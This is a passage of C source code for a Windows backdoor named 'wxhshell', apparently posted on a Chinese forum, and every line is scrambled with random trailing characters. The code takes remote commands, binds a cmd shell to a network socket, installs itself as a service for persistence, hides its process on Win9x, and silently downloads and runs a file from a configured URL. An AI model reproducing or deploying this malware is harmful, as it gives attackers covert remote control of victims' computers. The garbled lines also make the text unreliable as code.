;==j|/ERe  
    switch(cmd[0]) { JD lBVZ!  
  ) rpq+~b  
  // 帮助 3{RL \gh$"  
  case '?': { `eD1|Go9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T8Na]V5  
    break; K<RqBecB  
  } x0<^<D&Q  
  // 安装 x7$ax79ly  
  case 'i': { [.&[<!,.  
    if(Install()) $.8 H>c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S{:Cu}o  
    else A ~&+F>Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \fi}Q\|C  
    break; p6[ (81  
    } A[JM4x   
  // 卸载 Qxq-Mpx{  
  case 'r': { %l|\of7P2}  
    if(Uninstall()) e=>% ^F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k|B2@{  
    else >| m.?{^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qm%nIU \*  
    break; s MZ[d\  
    } 9)lZyE}   
  // 显示 wxhshell 所在路径 Oy$<QXj/  
  case 'p': { Y /lN@  
    char svExeFile[MAX_PATH]; hSMV&Cs  
    strcpy(svExeFile,"\n\r"); 9o_- =>(  
      strcat(svExeFile,ExeFile); DsQ/aG9c%  
        send(wsh,svExeFile,strlen(svExeFile),0); 3.),bm  
    break; 4f {+pf^R  
    } c0[k T  
  // 重启 Zi{0-m6+  
  case 'b': { ?\ Q0kr.T%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  AP w6  
    if(Boot(REBOOT)) {ERjeuDm]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ],&\%jd<  
    else { v3-?CQb(  
    closesocket(wsh); I%xn,u  
    ExitThread(0); Xw^X&Pp  
    } &t_h'JX&  
    break; c#pj:f*H  
    } (.Xr#;\(  
  // 关机 1JeJxzv>C  
  case 'd': { PAoX$q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o , LK[Q  
    if(Boot(SHUTDOWN)) ?OsS`)T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <'2u a  
    else { [@2s&Ct;  
    closesocket(wsh); %h/! Y<%  
    ExitThread(0); MGybGbd  
    } @a(oB.i  
    break; 784;]wdy\  
    } RGp'b  
  // 获取shell gp/YjUH7k8  
  case 's': { n(R_#,Hs  
    CmdShell(wsh); w1i?# !|  
    closesocket(wsh); )eR$:uO  
    ExitThread(0); x)R0F\_  
    break; ?v.Gn9Z&  
  } woau'7}XOu  
  // 退出 jONjt(&N  
  case 'x': { =l,#iYJP8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q[c Etp28h  
    CloseIt(wsh); 5-w:c>  
    break; ) b:4uK A  
    } 5f_7&NxT  
  // 离开 sN]Z #7  
  case 'q': { rPO}6lsc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `qu] Pxk  
    closesocket(wsh); x'i0KF   
    WSACleanup(); #LWg"i  
    exit(1); a))*F!}c  
    break; <25ccE9^c  
        } &7Kb]Ti  
  } g1V)$s 7  
  } <V S2]13  
SqqDV)Uih1  
  // 提示信息 J]\^QMX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^PQM;"  
} u[EK#%  
  } _FsB6 G]mc  
EfKntrom[  
  return; -tyaE  
} } 07r  
V6*?$o  
// shell模块句柄 6b#~;  
int CmdShell(SOCKET sock) s<VJ`Ur  
{ LyP`{_"CM  
STARTUPINFO si; a}yR p  
ZeroMemory(&si,sizeof(si)); VDn:SGj5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5/(sjMB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #(dhBEXPW;  
PROCESS_INFORMATION ProcessInfo; Q>%E`h  
char cmdline[]="cmd"; o9+Q{|r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WZK :.y  
  return 0; %zflx~  
} OG}KqG!n  
mz-N{>k  
// 自身启动模式 "tX7%(  
int StartFromService(void) ^ZVO ql&  
{ ^A#x<J+  
typedef struct !gJzg*{u@  
{ T#r=<YH[C  
  DWORD ExitStatus; {(0Id!  
  DWORD PebBaseAddress; \(bj(any  
  DWORD AffinityMask; LG6I_[  
  DWORD BasePriority; ]}~4J.Yn  
  ULONG UniqueProcessId; EL +,jrU~  
  ULONG InheritedFromUniqueProcessId; |^!Vo&T  
}   PROCESS_BASIC_INFORMATION; nx$bM(.  
?Cc :)  
PROCNTQSIP NtQueryInformationProcess; 3):?ZCw7y  
+7Rt{C,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :D4];d>1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8]]@S"ZM,\  
5Pqt_ZWy  
  HANDLE             hProcess; O! (85rp/  
  PROCESS_BASIC_INFORMATION pbi; JZw^ W{  
Gh iHA9.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nX 8B;*p6b  
  if(NULL == hInst ) return 0; g]4y AV<2  
M:(&n@e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8<c' x]~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +C5#$5];  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XHNkQe  
==`Pb  
  if (!NtQueryInformationProcess) return 0; Wl TpX`  
?RJdn]`4j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 07Y_^d  
  if(!hProcess) return 0; G<fS (q  
B!iFmkCy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UOJ*a1BM  
kwc*is  
  CloseHandle(hProcess); 23k)X"5  
]_\AHnJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pU@YiwP"]x  
if(hProcess==NULL) return 0; L6x B`E9  
AoU_;B\b%  
HMODULE hMod; S*s:4uf  
char procName[255]; J@gm@ jLc  
unsigned long cbNeeded; "u5KbJW  
$E@ouX?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jJ<;2e~OW  
(gD Q\t@3-  
  CloseHandle(hProcess); ;t~*F#p(!  
lJlhl7  
if(strstr(procName,"services")) return 1; // 以服务启动 $':JI#  
sX!3_ '-  
  return 0; // 注册表启动 G ~A$jStm  
} }pK v.  
>~^`5a`$uI  
// 主模块 XJ O[[G`  
int StartWxhshell(LPSTR lpCmdLine) nfa_8  
{ W7$s5G,  
  SOCKET wsl; y,V6h*x2  
BOOL val=TRUE; 9u?Eb~#$  
  int port=0; VZTmzIk.Y  
  struct sockaddr_in door; X'xUwT|_+  
n_1jHJo  
  if(wscfg.ws_autoins) Install(); @wMQC\Z  
@Jm.HST#S8  
port=atoi(lpCmdLine); {x9j_/R  
Xout:dn  
if(port<=0) port=wscfg.ws_port; r:73uRk  
3Qk/ Ll  
  WSADATA data; nPcxknl(pd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2+o!o  
^glX1 )  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {N "*olx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7MoR9,(  
  door.sin_family = AF_INET; }|SIHz!R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6-tiRk~  
  door.sin_port = htons(port); %uj[`  
~z&0qQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *.:!Ax  
closesocket(wsl); 1y 1_6TZ+  
return 1; [z^Od  
} !ZX&r{pJp  
#s*k| j}  
  if(listen(wsl,2) == INVALID_SOCKET) { }iMXXXBOT  
closesocket(wsl); K[e`t%2_  
return 1; xUIvLH=  
} gt~9"I  
  Wxhshell(wsl); e~3]/BL  
  WSACleanup(); @`5QG2  
KM5jl9Vv  
return 0; <>VID E  
Qg[heND  
} ?vMK'"  
/q T E  
// 以NT服务方式启动 xC'mPcU8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q)vK`\Y  
{ )sRN!~  
DWORD   status = 0; (v]P<3%  
  DWORD   specificError = 0xfffffff; U&`6&$]  
5[nmP95YK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !;TR2Zcn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zaH 5 Km_j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :,jPNuOA  
  serviceStatus.dwWin32ExitCode     = 0; 9U&~(;  
  serviceStatus.dwServiceSpecificExitCode = 0; o1Ne+Jt  
  serviceStatus.dwCheckPoint       = 0; =[s8q2V  
  serviceStatus.dwWaitHint       = 0; @51z-T  
l +|1G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XMomFW_@  
  if (hServiceStatusHandle==0) return; KuIkul9^%  
d8 rBu jT  
status = GetLastError(); GI}4,!^N  
  if (status!=NO_ERROR) Fs?( UM  
{ nT_*EC<.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F ~*zC`>Y  
    serviceStatus.dwCheckPoint       = 0; p@vpd  
    serviceStatus.dwWaitHint       = 0; " 98/HzR  
    serviceStatus.dwWin32ExitCode     = status; K1/ U (A  
    serviceStatus.dwServiceSpecificExitCode = specificError; %B[YtWqm`/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :wFb5"  
    return; fdN45in=>  
  } "&@gX_%  
j[_t6Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )uANmThOz  
  serviceStatus.dwCheckPoint       = 0; Rk}\)r\  
  serviceStatus.dwWaitHint       = 0; iKohuZr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]U_5\$  
} b*cW<vX}~  
:b.3CL\.6  
// 处理NT服务事件,比如:启动、停止 a:=q8Qy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TihnSb  
{ |Uc <;> l  
switch(fdwControl) X";TZk  
{ _2wAaJvA  
case SERVICE_CONTROL_STOP: joxS+P5#  
  serviceStatus.dwWin32ExitCode = 0; ]^Sd9ba  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0Ulxp  
  serviceStatus.dwCheckPoint   = 0; 5P-K *C&  
  serviceStatus.dwWaitHint     = 0; Qk?jGXB>^  
  { I).=v{@9V<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &,^mM' C  
  } NKRaQ r  
  return; c'"#q)  
case SERVICE_CONTROL_PAUSE: ,jAx%]@,I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !>CE(;E>z  
  break; V+Y|4Y&  
case SERVICE_CONTROL_CONTINUE: R 4DM_ u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; XPar_8I  
  break; )C'G2RV  
case SERVICE_CONTROL_INTERROGATE: X7t 5b7  
  break; TFAYVK~  
}; ]\[m=0K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jn.R.}TT  
} @<hF.4,]  
;gZwQ6)i  
// 标准应用程序主函数 2b; rr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &r&;<Q  
{ V*~1,6N [  
,h3269$J  
// 获取操作系统版本 v]B0!k&4.  
OsIsNt=GetOsVer(); jVLY!7Z4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ='7er.~\  
|E46vup  
  // 从命令行安装 ]ev*m&O  
  if(strpbrk(lpCmdLine,"iI")) Install(); D-'i G%)kA  
ev~dsk6k  
  // 下载执行文件 6\; 4 4,3  
if(wscfg.ws_downexe) { ;M%oQ> ].[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q2JdO 6[96  
  WinExec(wscfg.ws_filenam,SW_HIDE); |z.Gh1GCy  
} aQz|!8Is  
mgmWDtxN  
if(!OsIsNt) { Ah6wU|_-g  
// 如果时win9x,隐藏进程并且设置为注册表启动 s/r5,IFR  
HideProc(); %4?SY82  
StartWxhshell(lpCmdLine); lt@  
} %4bO_vb<9  
else LXBbz;vYl  
  if(StartFromService()) #JK;& Dg!  
  // 以服务方式启动 ;k9 ?  
  StartServiceCtrlDispatcher(DispatchTable); yd7lcb [  
else p:DL:^zx  
  // 普通方式启动 Y}AmX  
  StartWxhshell(lpCmdLine); ap Fs UsE  
Gg 7Wm L  
return 0; jA20c(O  
}
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只看该作者 1 发表于: 2006-10-10
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